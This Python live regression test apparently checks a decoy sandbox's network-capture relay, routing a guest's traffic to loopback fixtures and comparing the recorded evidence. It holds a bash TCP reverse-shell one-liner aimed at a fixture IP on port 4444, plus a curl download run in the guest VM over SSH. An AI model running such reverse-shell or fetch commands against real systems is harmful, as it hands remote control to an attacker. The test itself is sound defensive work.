"""Collector-only live regression; stop decoy-network first, restart it afterward.

Both destinations are harmless in-process loopback fixtures. No external connections.
Exercises VM223 bash TCP reverse shell and HTTP download through the real guest relay.
"""
import hashlib
import json
import pathlib
import shlex
import socket
import subprocess
import tempfile
import threading
import time
from unittest.mock import patch

import network_capture as net
from evidence import Evidence

FIXTURE_IP = '198.51.100.10'


def run():
    if not pathlib.Path('/etc/decoy-collector').is_file():
        raise SystemExit('Run only in the dedicated collector VM222')
    root = pathlib.Path(tempfile.mkdtemp(prefix='network-live-', dir='/var/lib/decoy'))
    evidence = Evidence(root / 'evidence')
    commands = b"printf 'DECOY_REVERSE_SHELL_OK\\n'; id; exit\n"
    payload = b'\x00DECOY_HARMLESS_DOWNLOAD_FIXTURE\xff\r\n' + bytes(range(256))
    response = (b'HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\n'
                b'Connection: close\r\nContent-Length: ' + str(len(payload)).encode() + b'\r\n\r\n' + payload)
    captured = {}
    failures = []
    listeners = {}
    threads = []
    for port in (4444, 80):
        listener = socket.socket()
        listener.bind(('127.0.0.1', 0))
        listener.listen(1)
        listener.settimeout(20)
        listeners[port] = listener

    def serve(port):
        try:
            with listeners[port].accept()[0] as conn:
                conn.settimeout(15)
                data = bytearray()
                if port == 4444:
                    conn.sendall(commands)
                    conn.shutdown(socket.SHUT_WR)
                    while True:
                        chunk = conn.recv(16384)
                        if not chunk:
                            break
                        data.extend(chunk)
                else:
                    while b'\r\n\r\n' not in data:
                        chunk = conn.recv(16384)
                        if not chunk:
                            raise AssertionError('fixture request ended early')
                        data.extend(chunk)
                        if len(data) > 65536:
                            raise AssertionError('oversized fixture request')
                    conn.sendall(response)
                captured[port] = bytes(data)
        except BaseException as exc:
            failures.append(exc)

    original_connect = socket.create_connection
    original_public = net.public_ip

    def fixture_connect(destination, *args, **kwargs):
        if destination[0] != FIXTURE_IP or destination[1] not in listeners:
            raise AssertionError(f'unexpected destination: {destination!r}')
        return original_connect(listeners[destination[1]].getsockname(), *args, **kwargs)

    def fixture_public(address):
        return FIXTURE_IP if address == FIXTURE_IP else original_public(address)

    def ssh(command):
        return subprocess.run(['ssh', '-o', 'BatchMode=yes', '-o', 'ConnectTimeout=5',
                               'decoy-execution', command], capture_output=True,
                              timeout=30, check=True).stdout

    server = None
    guest_file = '/var/tmp/decoy-network-live-' + root.name
    try:
        with patch.object(net, 'STOP', root / 'STOP'), \
             patch.object(net, 'public_ip', fixture_public), \
             patch.object(net, 'allowed_peers', return_value={FIXTURE_IP}), \
             patch.object(net.socket, 'create_connection', fixture_connect):
            server = net.Server(('0.0.0.0', 19090), net.Broker,
                                evidence=evidence, peers=str(root / 'unused'))
            threading.Thread(target=server.serve_forever, daemon=True).start()
            for port in listeners:
                thread = threading.Thread(target=serve, args=(port,), daemon=True)
                thread.start()
                threads.append(thread)
            script = f'exec /bin/bash -i >& /dev/tcp/{FIXTURE_IP}/4444 0>&1'
            ssh('/bin/bash -c ' + shlex.quote(script))
            digest = hashlib.sha256(payload).hexdigest()
            got = ssh("curl --noproxy '*' --connect-timeout 5 --max-time 15 -fsS -o " +
                      shlex.quote(guest_file) + f' http://{FIXTURE_IP}/fixture.bin && sha256sum ' +
                      shlex.quote(guest_file)).decode().split()[0]
            assert got == digest, (got, digest)
            for thread in threads:
                thread.join(5)
                assert not thread.is_alive(), 'fixture did not finish'
            assert not failures, failures
            assert b'DECOY_REVERSE_SHELL_OK' in captured[4444]
            assert b'uid=0(root)' in captured[4444]
            assert captured[80].startswith(b'GET /fixture.bin HTTP/1.1\r\n')
            deadline = time.monotonic() + 5
            while True:
                rows = [json.loads(line) for line in
                        (evidence.directory / 'events.jsonl').read_text().splitlines()]
                if sum(r['event'] == 'network_end' for r in rows) == 2:
                    break
                assert time.monotonic() < deadline, 'broker streams did not finish'
                time.sleep(0.05)
            connections = {r['destination_port']: r['connection_id'] for r in rows
                           if r['event'] == 'network_connected'}
            assert set(connections) == {80, 4444}, connections
            for port, cid in connections.items():
                chunks = sorted((r for r in rows if r['event'] == 'network_chunk' and
                                 r['connection_id'] == cid), key=lambda r: r['sequence'])
                def stream(direction):
                    return b''.join((evidence.directory / r['artifact']).read_bytes()
                                    for r in chunks if r['direction'] == direction)
                assert all(r['forwarded'] and r['time_ns'] for r in chunks)
                assert stream('guest_to_remote') == captured[port]
                assert stream('remote_to_guest') == (commands if port == 4444 else response)
            assert not server.failed.is_set()
    finally:
        if server is not None:
            server.shutdown()
            server.server_close()
        for listener in listeners.values():
            listener.close()
        try:
            ssh('rm -f -- ' + shlex.quote(guest_file))
        finally:
            evidence.close()
    print(f'LIVE PASS: real guest reverse shell + binary download; exact bidirectional evidence at {root}')


if __name__ == '__main__':
    run()